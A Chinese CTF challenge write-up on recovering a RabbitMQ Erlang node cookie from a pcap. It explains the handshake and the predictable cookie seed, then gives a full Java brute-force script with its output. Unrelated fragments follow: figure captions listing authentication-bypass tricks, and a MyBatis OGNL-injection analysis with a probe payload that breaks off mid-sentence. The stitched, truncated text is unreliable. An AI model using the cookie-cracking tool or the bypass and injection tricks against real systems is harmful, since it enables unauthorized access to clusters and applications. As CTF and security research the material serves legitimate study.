0x01 写在前面前段时间在字节 CTF 的大师赛上出了一个杂项，算是前段时间研究某个中间件的衍生产物，觉得很有兴趣，最近有时间便拿出来分享一下出题思路0x02 小玩笑当今时代，消息中间件已成为实现分布式系统和微服务架构的关键组件之一，市面上的常见的消息中间件主要有ActiveMQ、Kafka、RabbitMQ、RocketMQ，其中 RabbitMQ 主要用于金融业、Kafka 主要用于大数据行业，并且随着时间的推移，RabbitMQ 成为了最受欢迎和使用最多的消息队列之一。但是针对于 RabbitMQ 的利用和安全问题，在业内却少有研究。本题主要以 RabbitMQ 的erlang Node节点通信安全为核心，考察参赛选手对整个通信过程的安全理解。当打开题目所给的 pcap 数据包后，可以看到172.20.10.24 和 172.20.10.4 之间通信的主要的协议有http、tcp、amqp、 ErlDP 等，如下图所示：题目里设置了假的 flag，如果直接搜索 flag，会搜到 fakerflag{ByteDance@2024} 和 this is a faker flag that is ByteCTF{1e1111dce-cdf7-423f-8a8b-a62dec323d17}（开个小玩笑）0x03 通信过程分析进入正题。根据题目描述：请你尝试分析这段数据，解出 172.20.10.24 和 172.20.10.4 之间通信的 cookie根据已有协议，http 协议的 cookie 为：将其 转换为 32 位小写的 md5 后，提交发现 flag 错误，因此看看其他协议：AMQP、EPMD、ErlDP实际上这三个协议主要是为 RabbitMQ 提供服务的，AMQP（Advanced Message Queuing Protocol，高级消息队列协议）是一个开放标准的应用层网络协议，用于在分布式系统中进行异步消息传递。它是RabbitMQ等消息中间件广泛支持的主要协议之一。AMQP协议支持多种认证机制，其中PLAIN-SASL（简单认证和安全层）是常用的一种。在PLAIN-SASL认证中，客户端通过提供用户名（username）和密码（password）进行身份验证。除此之外，AMQP还支持其他SASL机制，如 EXTERNAL、ANONYMOUS 等，具体使用哪种机制取决于服务器的配置和安全需求。认证成功后，客户端需要经过一系列步骤才能开始消息传输，包括建立连接、创建通道、声明交换机和队列等。AMQP协议本身不使用cookie进行会话管理，而是依赖于长连接和通道的概念来维护通信状态。因此这个协议也可以排除筛选。那么就剩下两个协议了：EPMD 和 ErlDP。这两个协议也是本题所考察的内容。即 Erlang 节点协议认证过程。EPMD 全称为 Erlang Port Mapper Daemon，在 RabbitMQ 中主要充当"名称服务器"的作用。它的主要功能包括：将符号节点名称映射到具体的 IP 地址和端口号。维护一个活跃 Erlang 节点的注册表。协助 Erlang 节点之间建立初始连接。EPMD 通常在端口 4369 上运行，为 Erlang 集群中的节点提供服务。Erlang Distribution Protocol（有时简称为 Erlang Distribution 或 Erldp）是 Erlang 编程语言中用于实现分布式系统通信的核心协议。它的主要特点包括：用于 Erlang 节点之间的通信。支持远程过程调用（RPC）和消息传递。提供内置的容错和错误处理机制。对于节点间的认证，Erlang 使用了一种称为 "Magic Cookie" 的机制：每个 Erlang 节点都有一个 cookie，这是一个字符串值。当两个节点尝试建立连接时，它们会交换并比较各自的 cookie。只有当两个节点的 cookie 相同时，连接才会建立。cookie 通常存储在一个名为 .erlang.cookie 的文件中。当然，虽然这种机制被称为 "cookie"，但它与 Web 浏览器中使用的 HTTP cookie 完全不同。Erlang 的 cookie 是一种简单的共享密钥机制，用于节点认证。本题最终的 flag 也就是这个 cookie 32 位 MD5 的小写值。筛选与 Erlang 通信相关的协议（epmd || erldp）可以发现：想要分析这段通信的含义就要首先了解 RabbitMQ 中 Erlang节点通信验证的逻辑，过程如下：Client Node Server Node| | | 1. SEND (name, flags, creation) | |----------------------------------------------->| | | | 2. CHALLENGE (challenge, flags) | |<-----------------------------------------------| | | | 3. CHALLENGE_REPLY (digest) | |----------------------------------------------->| | | | 4. CHALLENGE_ACK (digest) | |<-----------------------------------------------| | | 现在详细分析每个步骤：第一步：SEND 客户端节点发送一个SEND消息。包含以下信息：节点名称：标识客户端节点标志(flags)：包含版本信息和其他元数据创建信息(creation)：用于区分同名但不同时间创建的节点{SEND, NodeName, % 例如 'rabbit@node01' Flags, % 例如 [DFLAG_EXTENDED_REFERENCES, DFLAG_DIST_MONITOR, ...] Creation % 例如 1}对应pcap 包中的 471、517、851以及 970 行第二步，CHALLENGE 服务端节点收到SEND后，回复一个CHALLENGE消息。包含：挑战值(challenge)：一个随机生成的大整数标志(flags)：服务端支持的功能标志{CHALLENGE, Challenge, % 例如 1234567890 Flags % 例如 [DFLAG_EXTENDED_REFERENCES, DFLAG_DIST_MONITOR, ...]}对应pcap 包中的 475、521、855 以及 974 行第三步，CHALLENGE_REPLY 客户端接收到CHALLENGE后，计算并发送响应：摘要(digest)：使用共享的"magic cookie"和挑战值计算的MD5哈希{CHALLENGE_REPLY, Digest % 服务端计算的MD5}对应pcap 包中的 976 行第四步，也即最后一步，CHALLENGE_ACK 服务端验证客户端的响应，如果正确，发送ACK：摘要(digest)：服务端使用相同方法计算的摘要，用于双向认证{CHALLENGE_ACK, Digest % 服务端计算的MD5}对应 pcap 包中的 977 行：这就是整个验证过程，结合协议过程、pcap 包或许还不能够理解整个过程的话，还可以看看erlang节点的 cookie 认证过程代码，在官方仓库中 erlang/otp/lib/jinterface/java_src/com/ericsson/otp/erlang/AbstractConnection.java 文件里有相关定义，其主要代码如下： protected void recvChallengeAck(final int our_challenge) throws IOException, OtpAuthException { final byte[] her_digest = new byte[16]; try { final byte[] buf = read2BytePackage(); @SuppressWarnings("resource") final OtpInputStream ibuf = new OtpInputStream(buf, 0); final int tag = ibuf.read1(); if (tag != ChallengeAck) { throw new IOException("Handshake protocol error"); } ibuf.readN(her_digest); final byte[] our_digest = genDigest(our_challenge, localNode.cookie()); if (!digests_equals(her_digest, our_digest)) { throw new OtpAuthException("Peer authentication error."); } } catch (final OtpErlangDecodeException e) { throw new IOException("Handshake failed - not enough data"); } catch (final Exception e) { throw new OtpAuthException("Peer authentication error."); } if (traceLevel >= handshakeThreshold) { System.out.println("<- " + "HANDSHAKE recvChallengeAck" + " from=" + peer.node + " digest=" + hex(her_digest) + " local=" + localNode); } } ... protected void sendChallengeReply(final int challenge, final byte[] digest) throws IOException { @SuppressWarnings("resource") final OtpOutputStream obuf = new OtpOutputStream(); obuf.write2BE(21); obuf.write1(ChallengeReply); obuf.write4BE(challenge); obuf.write(digest); obuf.writeToAndFlush(socket.getOutputStream()); if (traceLevel >= handshakeThreshold) { System.out.println("-> " + "HANDSHAKE sendChallengeReply" + " challenge=" + challenge + " digest=" + hex(digest) + " local=" + localNode); } } ... protected byte[] genDigest(final int challenge, final String cookie) { int i; long ch2; if (challenge < 0) { ch2 = 1L << 31; ch2 |= challenge & 0x7FFFFFFF; } else { ch2 = challenge; } final OtpMD5 context = new OtpMD5(); context.update(cookie); context.update("" + ch2); final int[] tmp = context.final_bytes(); final byte[] res = new byte[tmp.length]; for (i = 0; i < tmp.length; ++i) { res[i] = (byte) (tmp[i] & 0xFF); } return res; }大致流程如下：生成摘要： 使用 genDigest() 方法生成摘要。这个方法使用三个参数：challenge、Cookie 和一个固定字符串。protected byte[] genDigest(final int challenge, final String cookie) { // ... context.update(cookie); context.update("" + ch2); // ... }交换challenge： 双方交换挑战值，但不直接交换 Cookie。验证digest： 每一方使用接收到的challenge和自己的 Cookie 生成digest，然后与对方发送的digest进行比较。final byte[] our_digest = genDigest(our_challenge, localNode.cookie()); if (!digests_equals(her_digest, our_digest)) { throw new OtpAuthException("Peer authentication error."); }判定 Cookie 正确： 如果双方生成的digest相同，就认为 Cookie 是正确的。因为只有双方使用相同的 Cookie 才能生成相同的摘要。设置 cookieOk 标志： 当认证成功时，设置 cookieOk = true。java Copy cookieOk = true; sendCookie = false;后续通信： 在后续的通信中，如果 cookieOk 为 true，就不再重复完整的认证过程。0x04 一个例子来说明举例来说，具体如下。远程的 IP为：101.x.x.145 其流程主要如下：步骤消息类型通信方向内容说明1SEND_NAME本地 → 远程rabbit@nodes本地节点向远程节点发送自己的节点标识名称2SEND_STATUS远程 → 本地ok远程节点确认找到该节点后返回确认状态3SEND_CHALLENGE远程 → 本地0xd47f02d3远程节点向本地节点发送挑战值4SEND_CHALLENGE_REPLY本地 → 远程挑战值: 0x89164a06摘要值: 1fd30d5a0286c8bf72535e80db246256本地节点回复自己的挑战值和摘要值5SEND_CHALLENGE_ACK远程 → 本地摘要值: aa8cbfa4f6401bac2aed672a11c8a7a8远程节点比对收到的摘要值，如果匹配则返回自己的摘要值远程发送的：challenge：0xd47f02d3远程发送的：digest：aa8cbfa4f6401bac2aed672a11c8a7a8本地发送的：challenge:：0x89164a06本地发送的：digest：1fd30d5a0286c8bf72535e80db246256远程 Cookie：VLWCCLWXYOZNQPJKAKIO本地 Cookie：VLWCCLWXYOZNQPJKAKIO0x89164a06 和 VLWCCLWXYOZNQPJKAKIO 生成 aa8cbfa4f6401bac2aed672a11c8a7a80xd47f02d3 和 VLWCCLWXYOZNQPJKAKIO 生成 1fd30d5a0286c8bf72535e80db246256如下图所示：如果获取到 SEND_CHALLENGE_ACK阶段返回的 digest，那么就可以轻松的猜测出 Cookie 的值（非用户自定义，默认生成的情况下）上例中的验证脚本如下：package Rabbitmq; public class CookieHashDemo { public static byte[] genDigest(final int challenge, final String cookie) { int i; long ch2; if (challenge < 0) { ch2 = 1L << 31; ch2 |= challenge & 0x7FFFFFFF; } else { ch2 = challenge; } final OtpMD5 context = new OtpMD5(); context.update(cookie); context.update("" + ch2); final int[] tmp = context.final_bytes(); final byte[] res = new byte[tmp.length]; for (i = 0; i < tmp.length; ++i) { res[i] = (byte) (tmp[i] & 0xFF); } return res; } private static boolean digests_equals(final byte[] a, final byte[] b) { int i; for (i = 0; i < 16; ++i) { if (a[i] != b[i]) { return false; } } return true; } static String hex0(final byte x) { final char tab[] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f' }; int uint; if (x < 0) { uint = x & 0x7F; uint |= 1 << 7; } else { uint = x; } return "" + tab[uint >>> 4] + tab[uint & 0xF]; } static String hex(final byte[] b) { final StringBuffer sb = new StringBuffer(); try { int i; for (i = 0; i < b.length; ++i) { sb.append(hex0(b[i])); } } catch (final Exception e) { // Debug function, ignore errors. } return sb.toString(); } public static void main(String[] args) { String local_cookie = "VLWCCLWXYOZNQPJKAKIO"; int local_challenge = 0x89164a06; String remote_digest = "aa8cbfa4f6401bac2aed672a11c8a7a8"; byte[] our_digest = genDigest(local_challenge,local_cookie); System.out.println(hex(our_digest)); if (!digests_equals(remote_digest.getBytes(), hex(our_digest).getBytes())) { System.out.println("Peer authentication error."); }else { System.out.println("Success!"); } } }0x05 题解回到本题，我们已经通过 pcap 包获取到了Challenge值（0x60ea7bde）以及 SEND_CHALLENGE_ACK阶段返回的 digest值（f0e2967976d3ad1d0e8d2e85e7146f1a），因此只需要本地 fuzz 即可推断出 cookie 值。但是这里有个问题，fuzz 前我们必须知道 生成 cookie 长什么样，cookie 的生成逻辑是什么，不然没法写 fuzz 脚本。实际上，如果你在自己的机器上可以很轻松的搭建一个 RabbitMQ 服务。RabbitMQ 的 cookie 默认保存在 /var/lib/rabbitmq/.erlang.cookie 文件里，由 20 个大写的英文字母组成，类似如下：而 cookie 的生成算法如下（官方仓库：/erlang/otp/blob/master/lib/kernel/src/auth.erl）：-module(cookie_generator). -export([create_cookie/1]). %% next_random/1 function next_random(X) -> (X*17059465+1) band 16#fffffffff. ... %% random_cookie/3 function random_cookie(0, _, Result) -> lists:reverse(Result); random_cookie(Count, X0, Result) -> X = next_random(X0), Letter = X*($Z-$A+1) div 16#1000000000 + $A, random_cookie(Count-1, X, [Letter|Result]). ... %% create_cookie/1 function create_cookie(Name) -> io:format("Seed_1: ~p~n", [abs(erlang:monotonic_time() bxor erlang:unique_integer())]), Seed = abs(erlang:monotonic_time() bxor erlang:unique_integer()), io:format("Seed_2: ~p~n", [abs(erlang:monotonic_time() bxor erlang:unique_integer())]), Cookie = random_cookie(20, Seed, []), io:format("Cookie: ~p~n", [Cookie]), Cookie. 可以看到，在这个cookie 生成的逻辑中，其关键点主要在于 seed 的值。Seed = abs(erlang:monotonic_time() bxor erlang:unique_integer()),erlang:monotonic_time()：表示从 Erlang 虚拟机启动到调用的时间（以纳秒为单位）erlang:unique_integer()：返回一个整数这两个数实际上很难预测出来但是可以发现，这两个值进行异或计算后，生成的值是一个大整数因此可以反复的模拟生成cookie的过程（要不断的重启 erlang 虚拟机才可以），观察 seed 的特征：经过观测发现，其 seed 大部分处于 350,000,000 ~ 550,000,000 之间，且 seed 的大小和所处的机器相关，当处理器较多的时候，其生成的 seed 相对于少的时候而言是偏大的，以下是单核生成的 30 万个 seed 所处的区间统计：当然，由于是本地破解，实际上运算速度很快，知道了 seed 的大致值，我们可以设置从 300000000 开始到 900000000 结束（当然，你也可以从 1 开始，就是花的时间多就是）最终脚本如下：Payload.javapackage Rabbitmq; public class Payload { public static byte[] genDigest(final int challenge, final String cookie) { int i; long ch2; if (challenge < 0) { ch2 = 1L << 31; ch2 |= challenge & 0x7FFFFFFF; } else { ch2 = challenge; } final OtpMD5 context = new OtpMD5(); context.update(cookie); context.update("" + ch2); final int[] tmp = context.final_bytes(); final byte[] res = new byte[tmp.length]; for (i = 0; i < tmp.length; ++i) { res[i] = (byte) (tmp[i] & 0xFF); } return res; } private static boolean digests_equals(final byte[] a, final byte[] b) { int i; for (i = 0; i < 16; ++i) { if (a[i] != b[i]) { return false; } } return true; } static String hex0(final byte x) { final char tab[] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f' }; int uint; if (x < 0) { uint = x & 0x7F; uint |= 1 << 7; } else { uint = x; } return "" + tab[uint >>> 4] + tab[uint & 0xF]; } static String hex(final byte[] b) { final StringBuffer sb = new StringBuffer(); try { int i; for (i = 0; i < b.length; ++i) { sb.append(hex0(b[i])); } } catch (final Exception e) { } return sb.toString(); } public static long nextRandom(long x) { return (x * 17059465 + 1) & 0xfffffffffL; } public static String deriveCookie(long seed, int size) { long x = seed; char[] cookie = new char[size]; for (int i = size - 1; i >= 0; i--) { x = nextRandom(x); cookie[i] = (char) ('A' + (26 * x) / 0x1000000000L); } return new String(cookie); } private static double nanoToMinutes(long nanos) { return nanos / (60.0 * 1_000_000_000); } public static void main(String[] args) { long seed_start = 300000000; long seed_end = 900000000; int size = 20; int local_challenge = 0x60ea7bde; String remote_digest = "f0e2967976d3ad1d0e8d2e85e7146f1a"; long startTimeNano = System.nanoTime(); for(long i = seed_start; i<=seed_end; i++){ String local_cookie = deriveCookie(i, size); byte[] our_digest = genDigest(local_challenge,local_cookie); if (!digests_equals(remote_digest.getBytes(), hex(our_digest).getBytes())) { System.out.println("[*] Seed: " + i + ", Try Cookie " + local_cookie + " : Peer authentication error."); }else { System.out.println("[*] Seed: " + i + ", Success! Your Cookie is " + local_cookie); long endTimeNano = System.nanoTime(); long durationNano = endTimeNano - startTimeNano; double durationMinutes = nanoToMinutes(durationNano); System.out.printf("Fuzz 时间: %.4f 分钟%n", durationMinutes); break; } } } }OtpMD5.javapackage Rabbitmq; class OtpMD5 { static final long S11 = 7; static final long S12 = 12; static final long S13 = 17; static final long S14 = 22; static final long S21 = 5; static final long S22 = 9; static final long S23 = 14; static final long S24 = 20; static final long S31 = 4; static final long S32 = 11; static final long S33 = 16; static final long S34 = 23; static final long S41 = 6; static final long S42 = 10; static final long S43 = 15; static final long S44 = 21; private final long state[] = { 0x67452301L, 0xefcdab89L, 0x98badcfeL, 0x10325476L }; private final long count[] = { 0L, 0L }; private final int buffer[]; public OtpMD5() { buffer = new int[64]; int i; for (i = 0; i < 64; ++i) { buffer[i] = 0; } } private int[] to_bytes(final String s) { final char tmp[] = s.toCharArray(); final int ret[] = new int[tmp.length]; int i; for (i = 0; i < tmp.length; ++i) { ret[i] = tmp[i] & 0xFF; } return ret; } private int[] clean_bytes(final int bytes[]) { final int ret[] = new int[bytes.length]; int i; for (i = 0; i < bytes.length; ++i) { ret[i] = bytes[i] & 0xFF; } return ret; } private long shl(final long what, final int steps) { return what << steps & 0xFFFFFFFFL; } private long shr(final long what, final int steps) { return what >>> steps; } private long plus(final long a, final long b) { return a + b & 0xFFFFFFFFL; } private long not(final long x) { return ~x & 0xFFFFFFFFL; } private void to_buffer(final int to_start, final int[] from, final int from_start, final int num) { int ix = num; int to_ix = to_start; int from_ix = from_start; while (ix-- > 0) { buffer[to_ix++] = from[from_ix++]; } } private void do_update(final int bytes[]) { int index = (int) (count[0] >>> 3 & 0x3F); final long inlen = bytes.length; final long addcount = shl(inlen, 3); final long partlen = 64 - index; int i; count[0] = plus(count[0], addcount); if (count[0] < addcount) { ++count[1]; } count[1] = plus(count[1], shr(inlen, 29)); if (inlen >= partlen) { to_buffer(index, bytes, 0, (int) partlen); transform(buffer, 0); for (i = (int) partlen; i + 63 < inlen; i += 64) { transform(bytes, i); } index = 0; } else { i = 0; } to_buffer(index, bytes, i, (int) inlen - i); } @SuppressWarnings("unused") private void dumpstate() { System.out.println("state = {" + state[0] + ", " + state[1] + ", " + state[2] + ", " + state[3] + "}"); System.out.println("count = {" + count[0] + ", " + count[1] + "}"); System.out.print("buffer = {"); int i; for (i = 0; i < 64; ++i) { if (i > 0) { System.out.print(", "); } System.out.print(buffer[i]); } System.out.println("}"); } private long F(final long x, final long y, final long z) { return x & y | not(x) & z; } private long G(final long x, final long y, final long z) { return x & z | y & not(z); } private long H(final long x, final long y, final long z) { return x ^ y ^ z; } private long I(final long x, final long y, final long z) { return y ^ (x | not(z)); } private long ROTATE_LEFT(final long x, final long n) { return shl(x, (int) n) | shr(x, (int) (32 - n)); } private long FF(final long a, final long b, final long c, final long d, final long x, final long s, final long ac) { long tmp = plus(a, plus(plus(F(b, c, d), x), ac)); tmp = ROTATE_LEFT(tmp, s); return plus(tmp, b); } private long GG(final long a, final long b, final long c, final long d, final long x, final long s, final long ac) { long tmp = plus(a, plus(plus(G(b, c, d), x), ac)); tmp = ROTATE_LEFT(tmp, s); return plus(tmp, b); } private long HH(final long a, final long b, final long c, final long d, final long x, final long s, final long ac) { long tmp = plus(a, plus(plus(H(b, c, d), x), ac)); tmp = ROTATE_LEFT(tmp, s); return plus(tmp, b); } private long II(final long a, final long b, final long c, final long d, final long x, final long s, final long ac) { long tmp = plus(a, plus(plus(I(b, c, d), x), ac)); tmp = ROTATE_LEFT(tmp, s); return plus(tmp, b); } private void decode(final long output[], final int input[], final int in_from, final int len) { int i, j; for (i = 0, j = 0; j < len; i++, j += 4) { output[i] = input[j + in_from] | shl(input[j + in_from + 1], 8) | shl(input[j + in_from + 2], 16) | shl(input[j + in_from + 3], 24); } } private void transform(final int block[], final int from) { long a = state[0]; long b = state[1]; long c = state[2]; long d = state[3]; final long x[] = new long[16]; decode(x, block, from, 64); a = FF(a, b, c, d, x[0], S11, 0xd76aa478L); d = FF(d, a, b, c, x[1], S12, 0xe8c7b756L); c = FF(c, d, a, b, x[2], S13, 0x242070dbL); b = FF(b, c, d, a, x[3], S14, 0xc1bdceeeL); a = FF(a, b, c, d, x[4], S11, 0xf57c0fafL); d = FF(d, a, b, c, x[5], S12, 0x4787c62aL); c = FF(c, d, a, b, x[6], S13, 0xa8304613L); b = FF(b, c, d, a, x[7], S14, 0xfd469501L); a = FF(a, b, c, d, x[8], S11, 0x698098d8L); d = FF(d, a, b, c, x[9], S12, 0x8b44f7afL); c = FF(c, d, a, b, x[10], S13, 0xffff5bb1L); b = FF(b, c, d, a, x[11], S14, 0x895cd7beL); a = FF(a, b, c, d, x[12], S11, 0x6b901122L); d = FF(d, a, b, c, x[13], S12, 0xfd987193L); c = FF(c, d, a, b, x[14], S13, 0xa679438eL); b = FF(b, c, d, a, x[15], S14, 0x49b40821L); a = GG(a, b, c, d, x[1], S21, 0xf61e2562L); d = GG(d, a, b, c, x[6], S22, 0xc040b340L); c = GG(c, d, a, b, x[11], S23, 0x265e5a51L); b = GG(b, c, d, a, x[0], S24, 0xe9b6c7aaL); a = GG(a, b, c, d, x[5], S21, 0xd62f105dL); d = GG(d, a, b, c, x[10], S22, 0x2441453L); c = GG(c, d, a, b, x[15], S23, 0xd8a1e681L); b = GG(b, c, d, a, x[4], S24, 0xe7d3fbc8L); a = GG(a, b, c, d, x[9], S21, 0x21e1cde6L); d = GG(d, a, b, c, x[14], S22, 0xc33707d6L); c = GG(c, d, a, b, x[3], S23, 0xf4d50d87L); b = GG(b, c, d, a, x[8], S24, 0x455a14edL); a = GG(a, b, c, d, x[13], S21, 0xa9e3e905L); d = GG(d, a, b, c, x[2], S22, 0xfcefa3f8L); c = GG(c, d, a, b, x[7], S23, 0x676f02d9L); b = GG(b, c, d, a, x[12], S24, 0x8d2a4c8aL); a = HH(a, b, c, d, x[5], S31, 0xfffa3942L); d = HH(d, a, b, c, x[8], S32, 0x8771f681L); c = HH(c, d, a, b, x[11], S33, 0x6d9d6122L); b = HH(b, c, d, a, x[14], S34, 0xfde5380cL); a = HH(a, b, c, d, x[1], S31, 0xa4beea44L); d = HH(d, a, b, c, x[4], S32, 0x4bdecfa9L); c = HH(c, d, a, b, x[7], S33, 0xf6bb4b60L); b = HH(b, c, d, a, x[10], S34, 0xbebfbc70L); a = HH(a, b, c, d, x[13], S31, 0x289b7ec6L); d = HH(d, a, b, c, x[0], S32, 0xeaa127faL); c = HH(c, d, a, b, x[3], S33, 0xd4ef3085L); b = HH(b, c, d, a, x[6], S34, 0x4881d05L); a = HH(a, b, c, d, x[9], S31, 0xd9d4d039L); d = HH(d, a, b, c, x[12], S32, 0xe6db99e5L); c = HH(c, d, a, b, x[15], S33, 0x1fa27cf8L); b = HH(b, c, d, a, x[2], S34, 0xc4ac5665L); a = II(a, b, c, d, x[0], S41, 0xf4292244L); d = II(d, a, b, c, x[7], S42, 0x432aff97L); c = II(c, d, a, b, x[14], S43, 0xab9423a7L); b = II(b, c, d, a, x[5], S44, 0xfc93a039L); a = II(a, b, c, d, x[12], S41, 0x655b59c3L); d = II(d, a, b, c, x[3], S42, 0x8f0ccc92L); c = II(c, d, a, b, x[10], S43, 0xffeff47dL); b = II(b, c, d, a, x[1], S44, 0x85845dd1L); a = II(a, b, c, d, x[8], S41, 0x6fa87e4fL); d = II(d, a, b, c, x[15], S42, 0xfe2ce6e0L); c = II(c, d, a, b, x[6], S43, 0xa3014314L); b = II(b, c, d, a, x[13], S44, 0x4e0811a1L); a = II(a, b, c, d, x[4], S41, 0xf7537e82L); d = II(d, a, b, c, x[11], S42, 0xbd3af235L); c = II(c, d, a, b, x[2], S43, 0x2ad7d2bbL); b = II(b, c, d, a, x[9], S44, 0xeb86d391L); state[0] = plus(state[0], a); state[1] = plus(state[1], b); state[2] = plus(state[2], c); state[3] = plus(state[3], d); } public void update(final int bytes[]) { do_update(clean_bytes(bytes)); } public void update(final String s) { do_update(to_bytes(s)); } private int[] encode(final long[] input, final int len) { final int output[] = new int[len]; int i, j; for (i = 0, j = 0; j < len; i++, j += 4) { output[j] = (int) (input[i] & 0xff); output[j + 1] = (int) (input[i] >>> 8 & 0xff); output[j + 2] = (int) (input[i] >>> 16 & 0xff); output[j + 3] = (int) (input[i] >>> 24 & 0xff); } return output; } public int[] final_bytes() { final int bits[] = encode(count, 8); int index, padlen; int padding[], i; int[] digest; index = (int) (count[0] >>> 3 & 0x3f); padlen = index < 56 ? 56 - index : 120 - index; padding = new int[padlen]; padding[0] = 0x80; for (i = 1; i < padlen; ++i) { padding[i] = 0; } do_update(padding); do_update(bits); digest = encode(state, 16); return digest; } }因而得到最终的 cookie 值和 seed 值如下：[*] Seed: 426271377, Success! Your Cookie is OXZHUNYQHJBWDLCGNUKZ单线程 Fuzz 的时间为：18.1437 分钟得到 cookie 值后，将其转换为 32 位小写的 md5 值：因而最终的 flag 为：ByteCTF{e1347d3b4a848e4fc850b069dbfab71d}0x06 写在最后其实这题本来是属于 web 类的，但是由于种种原因，删减了题目，阉割成了杂项题，以后有机会在聊聊更多内容
图 1 是利用墨菲安全的 jar 检测，快速梳理有漏洞组件的 jar 包图 2、图 3 是快速审计漏洞的时候，需要关注一下web.xml或者xxx Service.xml中的特殊 servlet 或 service图 4 是为了在审计的时候避免找不到相关类的常规快速处理方法图 5 是批量反编译的两种方法图 6 是通过关键字来找路由的 list图 7 是在可以编译代码的情况下（通常是针对开源项目）快速找接口的插件图 8 是向skay 师傅学的，在可以调试的情况下，在这个类下断点可以获取到一些路由 list图 9、图 10 是在suffixPatternMatch为 TRUE 的情况下绕过鉴权的一种 trick图 11 是 在 setUseTrailingSlashMatch 为 true 的情况下绕过鉴权的一种 trick图 12 是向三梦师傅学的，当项目使用了 springsecurity 的时候的绕过场景图 13、图 14 是 startsWith( )和 endWith() 的鉴权绕过的一些方法图 15、图 16 是在 forward 目的路由可控时绕过鉴权的一种代码写法图 17 、图 18 是先知师傅整理的 shiro 的鉴权绕过相关的 tips图 19 是项目使用了 jwt 鉴权的一些思路图 20 是 fuzz 鉴权绕过的一些方法思路
动态SQL动态 SQL 是 MyBatis 的强大特性之一，一般而言，如果不使用动态SQL来拼接SQL语句，是比较痛苦的，比如拼接时要确保不能漏空格，还要注意去掉列表最后一个列名的逗号等，但是利用动态 SQL，就可以彻底摆脱这种痛苦。一般而言，使用mybatis有两种配置，一种是通过xml文件的方式来配置，另一种是通过注解的方式来配置。1、xml文件mybatis的*mapper.xml文件里能够使用动态SQL的标签有4种，分别是：① ifif标签是Mybatis中使用动态SQL比较频繁的地方，尤其是在where的判断里，比如： SELECT * FROM BLOG WHERE state = 'ACTIVE' <if test="title != null"> AND title like #{title} </if> 这里的SQL语句就提供了选择情景，如果我们不传入title或者传入的title为空，那么就不会拼接 AND title like #{title}又或者想加入额外的判断： SELECT * FROM BLOG WHERE state = 'ACTIVE' <if test="title != null"> AND title like #{title} </if> <if test="author != null and author.name != null"> AND author_name like #{author.name} </if> 结论：if标签里的 test属性，可以插入并解析OGNL表达式② choose (when, otherwise)根据官方文档中的说明有时候，我们不想使用所有的条件，而只是想从多个条件中选择一个使用。针对这种情况，MyBatis 提供了 choose 元素，它有点像 Java 中的 switch 语句。 SELECT * FROM BLOG WHERE state = 'ACTIVE' <choose> <when test="title != null"> AND title like #{title} </when> <when test="author != null and author.name != null"> AND author_name like #{author.name} </when> <otherwise> AND featured = 1 </otherwise> </choose> 结论：when标签里的 test属性，可以插入并解析OGNL表达式③ trim (where, set) SELECT * FROM BLOG WHERE <if test="state != null"> state = #{state} </if> <if test="title != null"> AND title like #{title} </if> <if test="author != null and author.name != null"> AND author_name like #{author.name} </if> 可以看下这个SQL语句，假设如果没有满足匹配的条件，那么最终这条 SQL 会变成这样：SELECT * FROM BLOG WHERE毫无疑问，这会导致查询失败同样的，如果匹配的只是第二个条件，这条 SQL 会是这样：SELECT * FROM BLOG WHERE AND title like 'someTitle'这个查询也会失败所以mybatis提出来了trim方法，如下： SELECT * FROM BLOG <where> <if test="state != null"> state = #{state} </if> <if test="title != null"> AND title like #{title} </if> <if test="author != null and author.name != null"> AND author_name like #{author.name} </if> </where> 可以看到多了一个where标签，同理还有一个set标签结论：该情况下，一般没有地方可以供我们插入OGNL表达式④ foreach动态 SQL 的另一个常见使用场景是对集合进行遍历（尤其是在构建 IN 条件语句的时候）。比如： SELECT * FROM POST P <where> <foreach item="item" index="index" collection="list" open="ID in (" separator="," close=")" nullable="true"> #{item} </foreach> </where> 结论：该情况下，一般没有地方可以供我们插入OGNL表达式⑤ bindbind 标签允许我们在 OGNL 表达式以外创建一个变量，并将其绑定到当前的上下文。比如： <bind name="pattern" value="'%' + _parameter.getTitle() + '%'" /> SELECT * FROM BLOG WHERE title LIKE #{pattern} 结论：bind标签里的 value属性，可以插入并解析OGNL表达式2、注解springboot使我们摆脱了各种xml配置的烦恼，对应的，mybatis也为springboot提供了对应的注解来满足动态SQL的功能，主要有以下注解：@Insert@Update@Delete@Select@InsertProvider@SelectProvider@UpdateProvider@DeleteProvider@Insert、@Update、@Delete和@Select这四个注解对应的是数据库增删改查功能，每一个都有一个对应的Provider注解标识带有Provider注解和不带有Provider注解的区别是，使用Provider需要自己实现查询类，并且使用动态SQL也简单很多。举个例子，如果@Update注解想要实现动态SQL，那么一定要使用 "}) void updateAuthorValues(Author author);可以看到，可以引用xml中的标签，然后来使用动态SQL但这样的方式很不美观，而且也有点鸡肋（还不如直接用xml来配置了）因此有了各类Provider，如：@SelectProvider我们定义一个查询方法为：@SelectProvider(type = UserDaoProvider.class, method = "findTeacherByName") Teacher findUserByName(Map<String, Object> map);SelectProvider 调用的方法为findTeacherByName，如下： public String findTeacherByName(Map<String, Object> map) { String name = (String) map.get("name"); String s = new SQL() { { SELECT("id,email"); FROM("Teacher"); if(map.get("id")!=null) WHERE("name=#{name}"); } }.toString(); return s; } }可以看到，这种方式没有任何标签，但是同样实现了动态SQL漏洞分析场景分析前面说了动态SQL的基础知识，可以看到，主要就一个点，在动态SQL中，可以解析OGNL表达式那么是不是说，如果我们控制了一个变量，并且该变量可以被解析成OGNL表达式，是不是就能够实现OGNL表达式注入呢？答案是肯定的。经过研究，总结出变量可以被解析成OGNL表达式，主要有以下几个地方：if标签里的 test属性此属性一般写死，不可控when标签里的 test属性此属性一般写死，不可控bind标签里的 value 属性bind标签value属性是可以传值的，如：<if test="name != null and name !=''"> <bind name="likename" value="name" /> name like #{likename} </if>但经过测试发现，这里进行OGNL表达式解析的时候，是有顺序的假设令name的值为：${@java.lang.Math@min(4,10)}我们想要的执行顺序是这样的：先利用OGNL表达式解析器来获取${@java.lang.Math@min(4,10)}的值，得到值以后，再将其赋给bind标签中的value，即：<bind name="likename" value="4" />但实际上并非如此，mybatis对于bind中value属性的OGNL解析流程是这样的，首先利用OGNL表达式解析器解析value的值，此时值单纯为name变量，即：<bind name="likename" value="name" />然后得到值，${@java.lang.Math@min(4,10)}，然后将其赋给bind标签value属性中的name变量，即：<bind name="likename" 